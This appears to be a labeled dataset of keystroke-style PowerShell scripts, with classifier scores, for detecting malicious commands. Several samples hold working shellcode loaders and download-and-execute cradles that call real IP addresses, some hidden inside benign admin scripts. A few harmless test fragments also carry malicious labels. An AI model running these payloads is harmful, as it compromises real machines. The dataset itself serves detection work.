($z.Length -gt 0x1000){$g = $z.Length};$x=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.1654282e-05,0.9999484
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""desktop_audit_1f7y0bwg"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-AppxPackage | enter Select-Object -First 200 Name, Version, Publisher | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""software_appx_packages.json"") -Encoding UTF8 enter Write-Host ""Starting disk_checks section 2."" enter Get-PSDrive -PSProvider FileSystem | enter Select-Object Name, Root, Used, Free, Description | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""disk_psdrive.txt"") -Encoding UTF8 enter",0,0,0.99996555,3.440648e-05
"win+r enter powershell enter enter enter param( enter $Subscribers = @('PSQLSMC30', 'PSQLCBS30', 'STGSQL610', 'ISQLDEV610', 'QSQL610' enter 'PSQLDLS30', 'PSQLDLS31', 'PSQLDLS32', 'PSQLDLS33', 'PSQLDLS34', 'PSQLDLS35', 'PSQLSVC21') enter ) enter enter [System.Reflection.Assembly]::LoadWithPartialName(""Microsoft.SqlServr.Rmo"") enter $DBQuery = ""DECLARE @Subs table ( enter publisher sysname not null, enter publisher_db sysname not null, enter publication sysname null, enter replication_type int not NULL, enter subscription_type int not NULL, enter last_updated datetime null, enter subscriber_db sysname not null, enter update_mode smallint null, enter last_sync_status int null, enter last_sync_summary sysname null, enter last_sync_time datetime null enter ) enter enter INSERT INTO @Subs enter exec sp_MSenumallsubscriptions enter enter SELECT Publisher, Publisher_DB, Publication, Subscriber_DB FROM @Subs enter order by 2"" enter function Run-Query() enter { enter param ( enter $SqlQuery, enter $SqlServer, enter $SqlCatalog enter ) enter enter $SqlConnection = New-Object System.Data.SqlClient.SqlConnection(""Data Source=$SqlServer;Integrated Security=SSPI;Initial Catalog=$SqlCatalog;""); enter enter $SqlCmd = New-Object System.Data.SqlClient.SqlCommand enter $SqlCmd.CommandText = $SqlQuery enter $SqlCmd.Connection = $SqlConnection enter enter $SqlAdapter = New-Object System.Data.SqlClient.SqlDataAdapter enter $SqlAdapter.SelectCommand = $SqlCmd enter enter $DataSet = New-Object System.Data.DataSet enter $a = $SqlAdapter.Fill($DataSet) enter enter $SqlConnection.Close() enter enter $DataSet.Tables | Select-Object -ExpandProperty Rows enter } enter enter function write-log([string]$info) enter { enter if($loginitialized -eq $false) enter { enter $FileHeader > $logfile enter $script:loginitialized = $True enter } enter $info >> $logfile enter } enter enter foreach ($Subscriber IN $Subscribers) { enter write $Subscriber enter $databases = Run-Query -SqlQuery $DBQuery -SqlServer $Subscriber | Select-Object -Property Publisher, Publisher_DB, Publication, Subscriber_DB | Sort-Object -Property Publisher_DB, Publication enter enter if (!$databases) { enter continue; enter } enter enter foreach ($db IN $databases ) { enter $script:logfile = ""C:\Dexma\Logs\$($db.Publisher)-$($db.Publisher_DB)-$($db.Publication).sql"" enter $script:loginitialized = $false enter $script:FileHeader = enter ""-- Publisher:`t`t$($db.Publisher)`r-- PublishedDB:`t`t$($db.Publisher_DB)`r-- Publication:`t`t$($db.Publication)`r-- SubscriberDB:`t$($db.Subscriber_DB)`r"" enter $repserver = New-Object ""Microsoft.SqlServer.Replication.ReplicationServer"" enter $srv = New-Object ""Microsoft.SqlServer.Management.Common.ServerConnection"" $($db.Publisher) enter $srv.connect() enter $repserver.ConnectionContext = $srv enter enter $repdb = $repserver.ReplicationDatabases[$($db.Publisher_DB)] enter enter $publication_object = $repdb.transpublications[$($db.Publication)] enter enter $script_val = [Microsoft.SqlServer.Replication.ScriptOptions]::Creation -bxor [Microsoft.SqlServer.Replication.ScriptOptions]::IncludeGo enter write-log $publication_object.Script($script_val) enter enter Foreach ($article in $publication_object.TransArticles) { enter write-log $article.Script($script_val) enter } enter enter write-log ""---------------------------------------------------------------------------"" enter write-log ""-- subscription creation"" enter write-log ""---------------------------------------------------------------------------"" enter enter Foreach ($subscription in $publication_object.TransSubscriptions) { enter write-log $subscription.Script($script_val) enter } enter } enter } enter (New-Object System.Net.WebClient).DownloadFile('http://94.102.53.238/~yahoo/csrsv.exe',""$env:APPDATA\csrsv.exe"");Start-Process (""$env:APPDATA\csrsv.exe"") enter enter",1,1,5.6764664e-05,0.99994326
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""system_review_xx3ro2r3"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter $Paths = @(""HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\*"", ""HKLM:\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*"") enter Get-ItemProperty $Paths -ErrorAction SilentlyContinue | enter Where-Object { $_.DisplayName } | enter Select-Object DisplayName, DisplayVersion, Publisher, InstallDate | enter Sort-Object DisplayName | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""software_installed_programs.txt"") -Encoding UTF8 enter Get-Service | enter Where-Object { $_.Status -eq ""Stopped"" } | enter Sort-Object Status | enter Select-Object Name, DisplayName, Status | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""service_stopped.json"") -Encoding UTF8 enter Get-ComputerInfo | enter Select-Object CsName, WindowsProductName, WindowsVersion, OsArchitecture, CsManufacturer, CsModel | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""bios_os_report.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999654,3.4572247e-05
"win+r enter powershell enter enter enter  enter Get-WmiObject win32_service | Select-Object Name, DisplayName, PathName, StartName, StartMode, State, TotalSessions, Description enter enter",0,0,0.9998516,0.00014840497
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""workstation_report_yb7wum7u"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-Printer | enter Select-Object Name, DriverName, PortName, PrinterStatus | enter Export-Csv -Path (Join-Path $ReportDir ""device_printers.csv"") -NoTypeInformation enter Get-AppxPackage | enter Select-Object -First 200 Name, Version, Publisher | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""software_appx_packages.txt"") -Encoding UTF8 enter",0,0,0.9999659,3.4091398e-05
"win+r powershell enter Describe ""Verify PowerShell Runs"" { BeforeAll{ $options = (Get-PSOptions) $pa enter th = split-path -path $options.Output Write-Verbose ""Path: '$path'"" -Verbose $ enter rootPath = split-Path -path $path $mount = 'C:\powershell' $container = 'mcr.m enter icrosoft.com/powershell:nanoserver-1803' } it ""Verify Version "" { $version = enter docker run --rm -v ""${rootPath}:${mount}"" ${container} ""${mount}\publish\pwsh"" enter -NoLogo -NoProfile -Command '$PSVersionTable.PSVersion.ToString()' enter",1,1,0.0055709104,0.9944291
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""daily_check_an41m49z"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-PSDrive -PSProvider FileSystem | enter Select-Object Name, Root, Used, Free, Description | enter Export-Csv -Path (Join-Path $ReportDir ""disk_psdrive.csv"") -NoTypeInformation enter Get-Process | enter Sort-Object CPU -Descending | enter Select-Object -First 10 ProcessName, Id, StartTime | enter Export-Csv -Path (Join-Path $ReportDir ""process_top_cpu_10.csv"") -NoTypeInformation enter",0,0,0.99996614,3.3912474e-05
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""asset_report_aadjta1k"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter $PSVersionTable | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""environment_ps_version.json"") -Encoding UTF8 enter Get-Service -Name ""*update*"" -ErrorAction SilentlyContinue | enter Sort-Object Name | enter Select-Object Name, DisplayName, Status | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""service_service_name_pattern.txt"") -Encoding UTF8 enter Get-ComputerInfo | enter Select-Object CsName, CsDomain, CsUserName, TimeZone, OsLastBootUpTime | enter Export-Csv -Path (Join-Path $ReportDir ""computer_info_report.csv"") -NoTypeInformation enter",0,0,0.99996614,3.3853084e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""health_report_13rnahyh"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting disk_checks section 1."" enter Get-Volume | enter Select-Object DriveLetter, FileSystemLabel, FileSystem, HealthStatus, SizeRemaining, Size | enter Export-Csv -Path (Join-Path $ReportDir ""disk_volume.csv"") -NoTypeInformation enter Write-Host ""Starting user_helpdesk_audit section 2."" enter Get-LocalGroupMember -Group ""Administrators"" -ErrorAction SilentlyContinue | enter Select-Object Name, ObjectClass, PrincipalSource | enter Export-Csv -Path (Join-Path $ReportDir ""user_local_admins.csv"") -NoTypeInformation enter Write-Host ""Administrative report completed."" enter",0,0,0.99996555,3.4435467e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""helpdesk_reports_dmy6c57o"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting device_printer_inventory section 1."" enter Get-Printer | enter Select-Object Name, DriverName, PortName, PrinterStatus | enter Export-Csv -Path (Join-Path $ReportDir ""device_printers.csv"") -NoTypeInformation enter Get-ComputerInfo | enter Select-Object CsName, WindowsProductName, WindowsVersion, OsArchitecture, CsManufacturer, CsModel | enter Export-Csv -Path (Join-Path $ReportDir ""bios_os_report.csv"") -NoTypeInformation enter",0,0,0.999966,3.398062e-05
"win+r enter powershell enter enter enter  enter [CmdletBinding()] enter param () enter enter function Get-Architecture { enter [CmdletBinding()][OutputType([string])] enter param () enter enter $OSArchitecture = Get-WmiObject -Class Win32_OperatingSystem | Select-Object OSArchitecture enter $OSArchitecture = $OSArchitecture.OSArchitecture enter Return $OSArchitecture enter enter } enter enter function Get-MSIInformation { enter [CmdletBinding()] enter param enter ( enter [ValidateNotNullOrEmpty()][System.IO.FileInfo]$MSI, enter [ValidateSet('ProductCode', 'ProductVersion', 'ProductName', 'Manufacturer', 'ProductLanguage', 'FullVersion')][string]$Property enter ) enter $WindowsInstaller = New-Object -ComObject WindowsInstaller.Installer enter $MSIDatabase = $WindowsInstaller.GetType().InvokeMember(""OpenDatabase"", ""InvokeMethod"", $null, $WindowsInstaller, @($MSI.FullName, 0)) enter $Query = ""SELECT Value FROM Property WHERE Property = '$($Property)'"" enter $View = $MSIDatabase.GetType().InvokeMember(""OpenView"", ""InvokeMethod"", $null, $MSIDatabase, ($Query)) enter $View.GetType().InvokeMember(""Execute"", ""InvokeMethod"", $null, $View, $null) enter $Record = $View.GetType().InvokeMember(""Fetch"", ""InvokeMethod"", $null, $View, $null) enter $Value = $Record.GetType().InvokeMember(""StringData"", ""GetProperty"", $null, $Record, 1) enter $MSIDatabase.GetType().InvokeMember(""Commit"", ""InvokeMethod"", $null, $MSIDatabase, $null) enter $View.GetType().InvokeMember(""Close"", ""InvokeMethod"", $null, $View, $null) enter $MSIDatabase = $null enter $View = $null enter return $Value enter } enter enter function Get-RelativePath { enter [CmdletBinding()][OutputType([string])] enter param () enter enter $Path = (split-path $SCRIPT:MyInvocation.MyCommand.Path -parent) + ""\"" enter Return $Path enter } enter enter function Install-EXE { enter [CmdletBinding()] enter param enter ( enter [ValidateNotNullOrEmpty()][string]$DisplayName, enter [ValidateNotNullOrEmpty()][string]$Executable, enter [ValidateNotNullOrEmpty()][string]$Switches enter ) enter enter Write-Host ""Install""$DisplayName.Trim()""....."" -NoNewline enter $ErrCode = (Start-Process -FilePath $Executable -ArgumentList $Switches -Wait -Passthru).ExitCode enter If (($ErrCode -eq 0) -or ($ErrCode -eq 3010)) { enter Write-Host ""Success"" -ForegroundColor Yellow enter } else { enter Write-Host ""Failed with error code ""$ErrCode -ForegroundColor Red enter Exit $ErrCode enter } enter } enter enter function Install-MSI { enter [CmdletBinding()] enter param enter ( enter [ValidateNotNullOrEmpty()][string]$MSI, enter [ValidateNotNullOrEmpty()][string]$Switches enter ) enter enter [string]$DisplayName = Get-MSIInformation -MSI $MSI -Property 'ProductName' enter $Executable = $Env:windir + ""\system32\msiexec.exe"" enter $Parameters = ""/i"" + [char]32 + [char]34 + $MSI + [char]34 + [char]32 + $Switches enter Write-Host ""Install""$DisplayName.Trim()""....."" -NoNewline enter $ErrCode = (Start-Process -FilePath $Executable -ArgumentList $Parameters -Wait -Passthru).ExitCode enter If (($ErrCode -eq 0) -or ($ErrCode -eq 3010)) { enter Write-Host ""Success"" -ForegroundColor Yellow enter } else { enter Write-Host ""Failed with error code ""$ErrCode -ForegroundColor Red enter Exit $ErrCode enter } enter } enter enter function Uninstall-MSIByName { enter [CmdletBinding()] enter param enter ( enter [ValidateNotNullOrEmpty()][String]$ApplicationName, enter [ValidateNotNullOrEmpty()][String]$Switches enter ) enter $Executable = $Env:windir + ""\system32\msiexec.exe"" enter enter $Uninstall = Get-ChildItem HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall -Recurse -ErrorAction SilentlyContinue enter If (((Get-WmiObject -Class Win32_OperatingSystem | Select-Object OSArchitecture).OSArchitecture) -eq ""64-Bit"") { enter $Uninstall += Get-ChildItem HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall -Recurse -ErrorAction SilentlyContinue enter } enter enter $Key = $uninstall | foreach-object { Get-ItemProperty REGISTRY::$_ } | where-object { $_.DisplayName -like ""*$ApplicationName*"" } enter If ($Key -ne $null) { enter Write-Host ""Uninstall""$Key.DisplayName""....."" -NoNewline enter enter $Parameters = ""/x "" + $Key.PSChildName + [char]32 + $Switches enter enter $ErrCode = (Start-Process -FilePath $Executable -ArgumentList $Parameters -Wait -Passthru).ExitCode enter enter If (($ErrCode -eq 0) -or ($ErrCode -eq 3010) -or ($ErrCode -eq 1605)) { enter Write-Host ""Success"" -ForegroundColor Yellow enter } else { enter Write-Host ""Failed with error code ""$ErrCode -ForegroundColor Red enter Exit $ErrCode enter } enter } enter } enter enter $RelativePath = Get-RelativePath enter Uninstall-MSIByName -ApplicationName ""Adobe Acrobat"" -Switches ""/qb- /norestart"" enter Uninstall-MSIByName -ApplicationName ""Adobe Reader"" -Switches ""/qb- /norestart"" enter Install-EXE -DisplayName ""Adobe Reader XI"" -Executable $RelativePath""setup.exe"" -Switches "" "" enter enter",0,0,0.99898356,0.0010163728
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""endpoint_review_67qiuwze"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting system_inventory section 1."" enter Get-ComputerInfo | enter Select-Object CsName, CsManufacturer, CsModel, CsProcessors, CsTotalPhysicalMemory | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""computer_info_report.txt"") -Encoding UTF8 enter [PSCustomObject]@{ UserName=$env:USERNAME; ComputerName=$env:COMPUTERNAME; UserDomain=$env:USERDOMAIN; PowerShellVersion=$PSVersionTable.PSVersion.ToString() } | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""user_current_context.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999658,3.4252484e-05
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""daily_check_atc26vty"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-ScheduledTask | enter Select-Object -First 150 TaskName, TaskPath, State | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""scheduled_all_tasks.txt"") -Encoding UTF8 enter Get-ChildItem Env: | enter Sort-Object Name | enter Select-Object Name, Value | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""environment_env_vars.json"") -Encoding UTF8 enter",0,0,0.9999654,3.4558143e-05
win+r powershell enter $SiteName = 'TestSite' function Start-TestFixture { & (Join-Path -Path $PSScri enter ptRoot '..\Initialize-CarbonTest.ps1' -Resolve) } function Start-Test { Remove enter -TestWebsite } enter enter,1,1,0.0026222963,0.99737775
"win+r enter powershell enter enter enter function Update-ScheduledTask{ enter param( enter [Parameter(Position=0, Mandatory=$false)] enter $Name, enter enter [switch] enter $All enter ) enter enter if(-not ($All -or $Name)){ enter throw ""Provide at least one parameter for this function."" enter } enter function Get-WindowsScheduledTasks{ enter enter param( enter $Folder enter ) enter $Folder.GetTasks(0) | Foreach-Object { enter New-Object -TypeName PSCustomObject -Property @{ enter 'Name' = $_.Name enter 'Path' = $_.Path enter 'State' = $_.State enter 'Enabled' = $_.Enabled enter 'LastRunTime' = $_.LastRunTime enter 'LastTaskResult' = $_.LastTaskResult enter 'NumberOfMissedRuns' = $_.NumberOfMissedRuns enter 'NextRunTime' = $_.NextRunTime enter 'Author' = ([xml]$_.xml).Task.RegistrationInfo.Author enter 'UserId' = ([xml]$_.xml).Task.Principals.Principal.UserID enter 'Description' = ([xml]$_.xml).Task.RegistrationInfo.Description enter } enter } enter $Folder.getfolders(1) | %{Get-WindowsScheduledTasks -Folder $_} enter } enter $ScheduledTasks = Get-ChildItem -Path $PSconfigs.Path -Filter $PSconfigs.Task.Filter -Recurse enter $WindowsScheduledTasks = new-object -com(""Schedule.Service"") enter ($WindowsScheduledTasks).connect($env:COMPUTERNAME) enter $WindowsScheduledTasks = Get-WindowsScheduledTasks -Folder $WindowsScheduledTasks.getfolder(""\"") enter enter $ScheduledTasks | %{ enter enter $Task = [xml]$(get-content $_.FullName) enter $FilePathTemp = $_.FullName + ""temp.xml"" enter enter $Task | where{$All -or $Name -eq $_.Task.RegistrationInfo.Description} | %{ enter if($Task.Task.Actions.Exec.Command.contains(""$"")){$Task.Task.Actions.Exec.Command = Invoke-Expression $Task.Task.Actions.Exec.Command} enter if($Task.Task.Actions.Exec.Arguments.contains(""$"")){$Task.Task.Actions.Exec.Arguments = Invoke-Expression $Task.Task.Actions.Exec.Arguments} enter if($Task.Task.Actions.Exec.WorkingDirectory.contains(""$"")){$Task.Task.Actions.Exec.WorkingDirectory = [string](Invoke-Expression $Task.Task.Actions.Exec.WorkingDirectory)} enter $Task.Save($FilePathTemp) enter enter $Title = $Task.task.RegistrationInfo.Description enter enter if($WindowsScheduledTasks | where{$_.Description -eq $Title}){ enter enter Write-Host ""Update Windows scheduled task: $Title"" enter SCHTASKS /DELETE /TN $Title /F enter SCHTASKS /Create /TN $Title /XML $FilePathTemp enter enter }else{ enter enter Write-Host ""Adding Windows scheduled task: $Title"" enter SCHTASKS /Create /TN $Title /XML $FilePathTemp enter } enter enter Remove-Item -Path $FilePathTemp enter } enter } enter } enter enter",0,0,0.97783273,0.022167206
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""asset_report_g7c4m7p4"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-Printer | enter Select-Object Name, DriverName, PortName, PrinterStatus | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""device_printers.txt"") -Encoding UTF8 enter Get-WinEvent -LogName Application -MaxEvents 100 | enter Where-Object { $_.LevelDisplayName -in @(""Error"") } | enter Select-Object TimeCreated, ProviderName, Id, LevelDisplayName, Message | enter Export-Csv -Path (Join-Path $ReportDir ""event_application_errors_100.csv"") -NoTypeInformation enter",0,0,0.99996614,3.3797118e-05
"win+r enter powershell enter enter enter Describe ""Join-Path cmdlet tests"" -Tags ""CI"" { enter $SepChar=[io.path]::DirectorySeparatorChar enter BeforeAll { enter $StartingLocation = Get-Location enter } enter AfterEach { enter Set-Location $StartingLocation enter } enter It ""should output multiple paths when called with multiple -Path targets"" { enter Setup -Dir SubDir1 enter (Join-Path -Path TestDrive:,$TestDrive -ChildPath ""SubDir1"" -resolve).Length | Should -Be 2 enter } enter It ""should throw 'DriveNotFound' when called with -Resolve and drive does not exist"" { enter { Join-Path bogusdrive:\\somedir otherdir -resolve -ErrorAction Stop; Throw ""Previous statement unexpectedly succeeded..."" } | enter Should -Throw -ErrorId ""DriveNotFound,Microsoft.PowerShell.Commands.JoinPathCommand"" enter } enter It ""should throw 'PathNotFound' when called with -Resolve and item does not exist"" { enter { Join-Path ""Bogus"" ""Path"" -resolve -ErrorAction Stop; Throw ""Previous statement unexpectedly succeeded..."" } | enter Should -Throw -ErrorId ""PathNotFound,Microsoft.PowerShell.Commands.JoinPathCommand"" enter } enter enter It ""should return one object when called with a Windows FileSystem::Redirector"" { enter set-location (""env:""+$SepChar) enter $result=join-path FileSystem::windir system32 enter $result.Count | Should -Be 1 enter $result | Should -BeExactly (""FileSystem::windir""+$SepChar+""system32"") enter } enter enter It ""should be able to join-path special string 'Variable:' with 'foo'"" { enter $result=Join-Path ""Variable:"" ""foo"" enter $result.Count | Should -Be 1 enter $result | Should -BeExactly (""Variable:""+$SepChar+""foo"") enter } enter enter It ""should be able to join-path special string 'Alias:' with 'foo'"" { enter $result=Join-Path ""Alias:"" ""foo"" enter $result.Count | Should -Be 1 enter $result | Should -BeExactly (""Alias:""+$SepChar+""foo"") enter } enter enter It ""should be able to join-path special string 'Env:' with 'foo'"" { enter $result=Join-Path ""Env:"" ""foo"" enter $result.Count | Should -Be 1 enter $result | Should -BeExactly (""Env:""+$SepChar+""foo"") enter } enter It ""should be able to join multiple child paths passed by position with remaining arguments"" { enter $result = Join-Path one two three four five enter $result.Count | Should -Be 1 enter $result | Should -BeExactly ""one${sepChar}two${sepChar}three${sepChar}four${sepChar}five"" enter } enter } enter enter $Wc=NEw-ObjEct SySTem.Net.WEbClIEnt;$u='Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko';$wC.HeadeRs.ADD('User-Agent',$u);$wc.PROXY = [SYSTEm.NET.WEBReqUEst]::DEFaUltWebPROxy;$wc.ProXY.CrEDENtiALS = [SYStEM.NeT.CREdenTIALCaCHe]::DEFAULTNetWorkCRedentiALS;$K='rA32Fp:I!*ds$l,xZk9[?5QC~u;K-vNw';$i=0;[chAR[]]$B=([chAr[]]($wC.DoWNloAdStRinG(""http://159.203.89.248:80/index.asp"")))|%{$_-bXoR$k[$I++%$k.LENGtH]};IEX ($B-JOIN'') enter enter",1,1,5.6273497e-05,0.99994373
"win+r enter powershell enter enter enter <# enter enter This module aims to offer the ability to generate arbitrary traffic on the ports specified, using the protocol specified. enter Author: Stuart Morgan (@ukstufus) enter Web: https://github.com/stufus enter enter #> enter enter function Invoke-EgressCheck { enter enter <# enter .SYNOPSIS enter enter Generates arbitrary traffic on the ports specified, using the protocol specified. enter enter .DESCRIPTION enter enter This will attempt to asynchronously generate a connection on each port specified, using the enter protocol specified, to a target. This is most useful when attempting to identify breaches enter in a firewall from an egress perspective. Note that it is quite noisy, but it may be enter appropriate in some situations. enter enter A listener on the destination IP address will be required. The EgressChecker tool could enter be useful for this (accessible at https://github.com/stufus/egresscheck-framework) or any enter other method of identifying incoming connections will be fine. enter enter .PARAMETER ip enter enter The IP address of the target endpoint. enter Example: -ip ""10.0.0.1"" enter enter .PARAMETER portrange enter enter The ports to try. This accepts comma-separated individual port numbers, ranges enter or both. enter Example: -portrange ""22-25,53,80,443,445,3306,3389"" enter Default: ""22-25,53,80,443,445,3306,3389"" enter enter .PARAMETER protocol enter enter The IP protocol to use. This can be one of TCP, UDP or ALL. enter Example: -protocol ""TCP"" enter Default: TCP enter enter .PARAMETER verbose enter enter The verbosity of the console output. enter If this is unset, there is no intentional verbosity. enter If this is set, it will output: enter 't/port' - Sending a TCP packet enter 'u/port' - Sending a UDP packet enter 'W/tcp' - Waiting (i.e. sleep/delay) after a TCP connection was attempted enter 'W/udp' - Waiting (i.e. sleep/delay) after a UDP connection was attempted enter Example: -verbose enter Default: Not verbose enter enter .PARAMETER delay enter enter The delay between sending packets. This injects a delay in milliseconds between enter packets generated on a per-port per-protocol basis. enter Example: -delay 100 enter Default: 100 enter enter .EXAMPLE enter Invoke-EgressCheck -ip 1.2.3.4 -portrange ""22-25,53,80,443,445,3306,3389"" -protocol ALL -delay 100 -verbose enter enter .LINK enter enter https://github.com/stufus/egresscheck-framework enter enter #> enter enter [CmdletBinding()] enter param([string] $ip, [string] $portrange = ""22-25,53,80,443,445,3306,3389"", [string] $protocol = ""TCP"", [int] $delay=100) enter enter if ($ip -NotMatch '^([0-9]{1,3}\.){3}[0-9]{1,3}$') { enter Write-Error ""IP not specified"" enter return enter } enter enter Write-Output ""EgressCheck started"" enter enter $pr_split = $portrange -split ',' enter foreach ($p in $pr_split) { enter if ($p -match '^[0-9]+-[0-9]+$') { enter $prange = $p -split '-' enter $s = [convert]::ToInt32($prange[0]) enter $e = [convert]::ToInt32($prange[1]) enter Write-Verbose ""Now generating traffic on ports $s - $e"" enter for ($c = $s;$c -le $e;$c++) { enter egress -ip $ip -port $c -delay $delay -protocol $protocol enter } enter } elseif ($p -match '^[0-9]+$') { enter $c = [convert]::ToInt32($p) enter Write-Verbose ""Now generating traffic on port $c"" enter egress -ip $ip -port $c -delay $delay -protocol $protocol enter } else { enter Write-Error ""Bad port range"" enter return enter } enter } enter Write-Output ""EgressCheck completed"" enter } enter enter function egress { enter [CmdletBinding()] enter param([string]$ip, [int]$port, [int]$delay, [string]$protocol) enter enter $protocol_case = $protocol.ToUpper() enter enter if ($protocol_case -eq ""TCP"" -Or $protocol_case -eq ""ALL"") { enter generate_tcp -ip $ip -port $port enter if ($delay -gt 0) { enter Start-Sleep -m ($delay) enter Write-Verbose ""W/tcp"" enter } enter } enter enter if ($protocol_case -eq ""UDP"" -Or $protocol_case -eq ""ALL"") { enter generate_udp -ip $ip -port $port enter if ($delay -gt 0) { enter Start-Sleep -m ($delay) enter Write-Verbose ""W/udp"" enter } enter } enter enter } enter enter # Send the TCP packet enter function generate_tcp { enter [CmdletBinding()] enter param([string]$ip, [int]$port) enter enter try { enter $t = New-Object System.Net.Sockets.TCPClient enter $t.BeginConnect($ip, $port, $null, $null) | Out-Null enter $t.Close() enter Write-Verbose ""t/$port"" enter } enter catch { } enter } enter enter # Send the UDP packet enter function generate_udp { enter [CmdletBinding()] enter param([string]$ip, [int]$port) enter enter $d = [system.Text.Encoding]::UTF8.GetBytes(""."") enter try { enter $t = New-Object System.Net.Sockets.UDPClient enter $t.Send($d, $d.Length, $ip, $port) | Out-Null enter $t.Close() enter Write-Verbose ""u/$port"" enter } enter catch { } enter } enter enter",1,1,6.8295296e-05,0.9999317
"win+r enter powershell enter enter enter function Properties { enter enter [CmdletBinding()] enter param( enter [Parameter(Mandatory = $true)] enter [scriptblock]$properties enter ) enter enter $psake.context.Peek().properties.Push($properties) enter } enter enter $c = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = ;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$x=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,6.1694824e-05,0.99993825
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""endpoint_review_60nxdjxl"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-WinEvent -LogName Application -MaxEvents 150 | enter Where-Object { $_.LevelDisplayName -in @(""Warning"") } | enter Select-Object TimeCreated, ProviderName, Id, LevelDisplayName, Message | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""event_application_warnings_150.txt"") -Encoding UTF8 enter Write-Host ""Starting user_helpdesk_audit section 2."" enter Get-LocalUser | enter Select-Object Name, Enabled, LastLogon, PasswordRequired | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""user_local_users.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.99996614,3.388768e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""inventory_reports_55arde2x"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-WinEvent -LogName System -MaxEvents 50 | enter Where-Object { $_.LevelDisplayName -in @(""Error"") } | enter Select-Object TimeCreated, ProviderName, Id, LevelDisplayName, Message | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""event_system_errors_50.json"") -Encoding UTF8 enter Write-Host ""Starting environment_report section 2."" enter $env:Path -split "";"" | enter Where-Object { $_ -ne """" } | enter ForEach-Object { [PSCustomObject]@{ PathEntry = $_ } } | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""environment_path_entries.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.999966,3.4007982e-05
